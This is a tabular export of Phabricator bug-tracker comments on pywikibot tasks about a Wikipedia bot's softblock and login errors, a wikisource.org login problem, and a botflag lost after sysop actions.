\*\*\* Please make sure you are allowed to use the robot before actually using it\!",,,1380947945,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,3.5,1.0,4.0,0.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,1.5,0.0,4.5,8.5,0.0,1.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,0.5,1.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,9.5,0.0,1.5,1.5,0.0,0.0,1.0,0.0,2.5,1.0,1.5,0.0,4.5,8.5,8.5,0.0,1.5,0.0,4.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,3.802746931618936,0.7781998831092928,"my bot is edits on toolserver and toolserver ip is blocked and it edits by it's user name correctly 
URL

I checked new update but it has the same error message
also my bot is listed on Wikipedia:Bots/Status/active bots

massage

pywikipedia$ python login.py -lang:en
Logging in to wikipedia:en as rezabot via API.
Should be logged in now
\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status/active bots', 'BotS'\]\]\].
\*\*\* Please make sure you are allowed to use the robot before actually using it\!"
267465,interwiki and login errors on en.wiki,"- **labels**: 745455 --> login
- **assigned_to**: nobody --> xqt",,,1380947943,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.4347826086956523,0.5217391304347826,"- **labels**: 745455 --> login
- **assigned_to**: nobody --> xqt"
267462,interwiki and login errors on en.wiki,fix for NOTE: message done in r10446/r10447,,,1380947941,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,fix for NOTE: message done in r10446/r10447
267459,interwiki and login errors on en.wiki,"It looks like the bot's IP was blocked \[1\] and it seems the bot was editing as anonymous account. On the other hand I don't know why/how that \(bot working as IP\) happens. Could you check your bot's IP edits?

The second message is due to the Botstatus templates has been moved into a subfolder. Will be fixed soon.

\[1\]: http://en.wikipedia.org/wiki/Wikipedia:SOFTBLOCK\#Setting\_block\_options",,,1380947939,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,4.0,1.0,5.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,1.0,8.0,3.0,3.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,8.0,6.0,14.0,4.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,9.0,8.0,1.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,1.0,3.5324675324675323,0.8051948051948052,"It looks like the bot's IP was blocked \[1\] and it seems the bot was editing as anonymous account. On the other hand I don't know why/how that \(bot working as IP\) happens. Could you check your bot's IP edits?

The second message is due to the Botstatus templates has been moved into a subfolder. Will be fixed soon.

\[1\]: URL"
267456,interwiki and login errors on en.wiki,"thank you for your answer after new update the bot blocking error  is solved.:\) but still now it shows this massage.
it should not show this because my bot is registered and flag in en.wiki

the massage


WARNING: Your account on wikipedia:en is blocked by Anomie.
Reason: Softblock: Toolserver bots should not be editing logged out. Consult \[\[WT:BOTPOL\]\] for consensus discussion.
Editing using this account will stop the run.

NOTE: You have new messages on wikipedia:en
Logging in to wikipedia:en as rezabot via API.
Should be logged in now
\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status', 'BotS'\]\]\].
\*\*\* Please make sure you are allowed to use the robot before actually using it\!",,,1380947938,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,3.0,1.5,2.0,0.0,0.5,0.0,0.0,2.5,1.5,0.0,0.0,0.0,0.5,0.0,4.5,10.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,4.5,2.0,1.0,0.5,3.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,13.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,4.0,11.0,0.5,1.0,4.0,0.0,0.0,0.5,0.0,3.5,0.5,0.5,0.0,5.0,10.0,9.0,0.0,1.5,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,3.935897435897436,0.7628205128205128,"thank you for your answer after new update the bot blocking error  is solved.:\) but still now it shows this massage.
it should not show this because my bot is registered and flag in en.wiki

the massage


WARNING: Your account on wikipedia:en is blocked by Anomie.
Reason: Softblock: Toolserver bots should not be editing logged out. Consult \[\[WT:BOTPOL\]\] for consensus discussion.
Editing using this account will stop the run.

NOTE: You have new messages on wikipedia:en
Logging in to wikipedia:en as rezabot via API.
Should be logged in now
\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status', 'BotS'\]\]\].
\*\*\* Please make sure you are allowed to use the robot before actually using it\!"
267453,interwiki and login errors on en.wiki,Also check to make sure you are still logged in. \(try running login.py and see if that fixes it.\),,,1380947936,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.857142857142857,1.0,Also check to make sure you are still logged in. \(try running login.py and see if that fixes it.\)
267450,interwiki and login errors on en.wiki,could you try another edit with -v option to get mor output,,,1380947934,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,could you try another edit with -v option to get mor output
267445,interwiki and login errors on en.wiki,- **summary**: error on en.wiki --> interwiki and login errors on en.wiki,,,1380947932,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.4444444444444446,0.7222222222222222,- **summary**: error on en.wiki --> interwiki and login errors on en.wiki
57154,Can't login to wikisource.org,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1572/
Reported by: Anonymous user
Created on: 2013-02-09 09:45:00
Subject: Can't login to wikisource.org
Original description:
I would like to be able to edit Wikisource with pywikipediabot; unlike all the other wikis, http://wikisource.org/ does not redirect to http://en.wikisource.org/ and thus I cannot login to wikisource.org without playing with each script.

The following was outputted when I tried
family = 'wikisource'
mylang = ''

Traceback \(most recent call last\):
File ""C:\Python27\pywikipedia1\redirect.py"", line 65, in &lt;module&gt;
import wikipedia as pywikibot
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8717, in &lt;module&gt;
getSite\(noLogin=True\)
File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
return method\(\*\_\_args, \*\*\_\_kw\)
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8471, in getSite
\_sites\[key\] = Site\(code=code, fam=fam, user=user\)
File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
return method\(\*\_\_args, \*\*\_\_kw\)
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 5667, in \_\_init\_\_
% \(self.\_\_code, self.\_\_family.name\)\)
NoSuchSite: Language  does not exist in family wikisource

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1572",Needs Triage,90.0,1380947640,1384635692.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-dhh37twcrmhqe6k4pknu,task_description,invalid,True,c2,3,False,False,True,5,True,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,3.3333333333333335,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,1.3333333333333333,0.0,0.0,0.0,1.0,0.0,3.0,7.333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,16.666666666666668,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,13.0,0.3333333333333333,1.0,1.3333333333333333,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,4.666666666666667,0.0,1.3333333333333333,7.333333333333333,5.0,0.0,5.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,4.642044367947983,0.5914132721361637,"Originally from: URL
Reported by: Anonymous user
Created on: 2013-02-09 09:45:00
Subject: Can't login to wikisource.org
Original description:
I would like to be able to edit Wikisource with pywikipediabot; unlike all the other wikis, URL does not redirect to URL and thus I cannot login to wikisource.org without playing with each script.

The following was outputted when I tried
family = 'wikisource'
mylang = ''

Traceback \(most recent call last\):
File ""C:\Python27\pywikipedia1\redirect.py"", line 65, in &lt;module&gt;
import wikipedia as pywikibot
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8717, in &lt;module&gt;
getSite\(noLogin=True\)
File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
return method\(\*\_\_args, \*\*\_\_kw\)
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8471, in getSite
\_sites\[key\] = Site\(code=code, fam=fam, user=user\)
File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
return method\(\*\_\_args, \*\*\_\_kw\)
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 5667, in \_\_init\_\_
% \(self.\_\_code, self.\_\_family.name\)\)
NoSuchSite: Language  does not exist in family wikisource

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
265878,Can't login to wikisource.org,closed per above,,,1384635692,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,4.666666666666667,1.0,closed per above
265874,Can't login to wikisource.org,"Suggested method works, please close or possibly add a note somewhere in the code? \(so people like me can see that they need to do '-'\)",,,1380947670,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,13.0,3.0,3.0,3.0,0.0,7.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,"Suggested method works, please close or possibly add a note somewhere in the code? \(so people like me can see that they need to do '-'\)"
265870,Can't login to wikisource.org,"My mistake, I didn't see the suggested method.",,,1380947668,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,1.0,"My mistake, I didn't see the suggested method."
265865,Can't login to wikisource.org,- **priority**: 7 --> 5,,,1380947666,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.7272727272727273,0.7272727272727273,- **priority**: 7 --> 5
265861,Can't login to wikisource.org,Please try the suggested method before increading priority.,,,1380947665,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.777777777777778,1.0,Please try the suggested method before increading priority.
265855,Can't login to wikisource.org,- **priority**: 5 --> 7,,,1380947663,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.7272727272727273,0.7272727272727273,- **priority**: 5 --> 7
265850,Can't login to wikisource.org,"Instead of mylang='', try using mylang='-' \(and also adapting your username config as such\).",,,1380947661,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,11.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.2631578947368425,1.0,"Instead of mylang='', try using mylang='-' \(and also adapting your username config as such\)."
57140,force login after performing a sysop action,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1632/
Reported by: nu11zer0
Created on: 2013-05-03 05:54:46
Subject: force login after performing a sysop action
Assigned to: russblau
Original description:
After my bot performed a sysop action, then wrote to a page, the bot wrote without botflag\! It seems that the framework cached some informations and understood that the bot has no flag. My workaround is to add ""site.login\(\)"" after every sysop action. But it should be implemented in the framework. Note that now redirect.py also has this problem.

\----
Pywikibot branches/rewrite/ \(r11487, 2013/05/02, 07:59:55, ok\)
Python 2.7.3 \(default, Sep 26 2012, 21:53:58\) 
\[GCC 4.7.2\]
unicode test: ok

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1632
https://bugzilla.wikimedia.org/show_bug.cgi?id=55066",Needs Triage,90.0,1380947460,1431068904.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_description,resolved,True,c2,3,False,False,False,5,True,1.0,0.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,3.5,7.0,0.0,0.5,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,1.0,2.0,0.0,0.5,0.0,2.0,0.0,0.5,0.0,1.0,3.5,0.0,0.0,0.0,0.0,1.5,14.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,11.5,1.5,1.0,5.5,0.0,0.0,0.5,0.0,2.0,0.5,6.5,0.0,2.0,7.0,5.0,0.0,1.0,0.0,2.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,3.9065757818765032,0.6703421545041433,"Originally from: URL
Reported by: nu11zer0
Created on: 2013-05-03 05:54:46
Subject: force login after performing a sysop action
Assigned to: russblau
Original description:
After my bot performed a sysop action, then wrote to a page, the bot wrote without botflag\! It seems that the framework cached some informations and understood that the bot has no flag. My workaround is to add ""site.login\(\)"" after every sysop action. But it should be implemented in the framework. Note that now redirect.py also has this problem.

\----
Pywikibot branches/rewrite/ \(r11487, 2013/05/02, 07:59:55, ok\)
Python 2.7.3 \(default, Sep 26 2012, 21:53:58\) 
\[GCC 4.7.2\]
unicode test: ok

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
415402,force login after performing a sysop action,"Change 192178 merged by jenkins-bot:
Postpone botflag checking in Page

[[https://gerrit.wikimedia.org/r/192178]]",,,1424592321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,3.9,0.9,"Change 192178 merged by jenkins-bot:
Postpone botflag checking in Page

[[GERRIT_URL]]"
415401,force login after performing a sysop action,"Change 192178 had a related patch set uploaded (by VcamX):
Postpone botflag checking in Page

[[https://gerrit.wikimedia.org/r/192178]]

#patch-for-review",,,1424591405,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.6774193548387095,0.8387096774193549,"Change 192178 had a related patch set uploaded (by VcamX):
Postpone botflag checking in Page

[[GERRIT_URL]]

#patch-for-review"
415391,force login after performing a sysop action,"@jayvdb @Nullzero I found out what causes this bug. 
When we do an edit, the parameter [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/page.py#1004 | botflag ]] of function `save` in pywikibot-core/page will decide whether this edit will have botflag or not. This [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/page.py#L1030 | line ]] will check the user right. If A performing sysop action first, it will cached sysop cookie in `pywikibot.lwp`. Then B performing a bot action without executing like `site.login()` first and doing an edit, the botflag will be set as false since the pywikibot will check user right using sysop cookie, and of course there's no `bot` in `site.userinfo['rights']`. Although we have decorator `must_be` for editpage (see [[ https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/site.py#L4033 | this ]]) which will check the user when doing an edit. The botflag is set as false before the decorator  `must_be` works.",,,1424582984,,PHID-USER-ldooglhg45a3eg7cmxhh,False,,,PHID-TASK-hvrjul4vtq37ptu6ciqt,task_subcomment,,True,c2,3,False,,,77,True,0.0,0.0,0.0,1.5,0.5,1.5,0.0,0.0,0.5,0.5,3.0,0.0,0.0,0.0,0.5,1.5,1.0,5.5,8.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.5,3.5,3.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,18.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,1.5,11.0,3.5,2.0,10.5,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,2.0,8.0,5.5,0.0,0.0,0.0,2.0,0.0,2.5,3.0,0.0,3.5,0.0,0.0,2.0,3.7468354430379747,0.6962025316455696,"SCREEN_NAMESCREEN_NAME I found out what causes this bug. 
When we do an edit, the parameter [[ URL | botflag ]] of function CODE in pywikibot-core/page will decide whether this edit will have botflag or not. This [[ URL | line ]] will check the user right. If A performing sysop action first, it will cached sysop cookie in CODE. Then B performing a bot action without executing like CODE first and doing an edit, the botflag will be set as false since the pywikibot will check user right using sysop cookie, and of course there's no CODE in CODE. Although we have decorator CODE for editpage (see [[ URL | this ]]) which will check the user when doing an edit. The botflag is set as false before the decorator  CODE works."
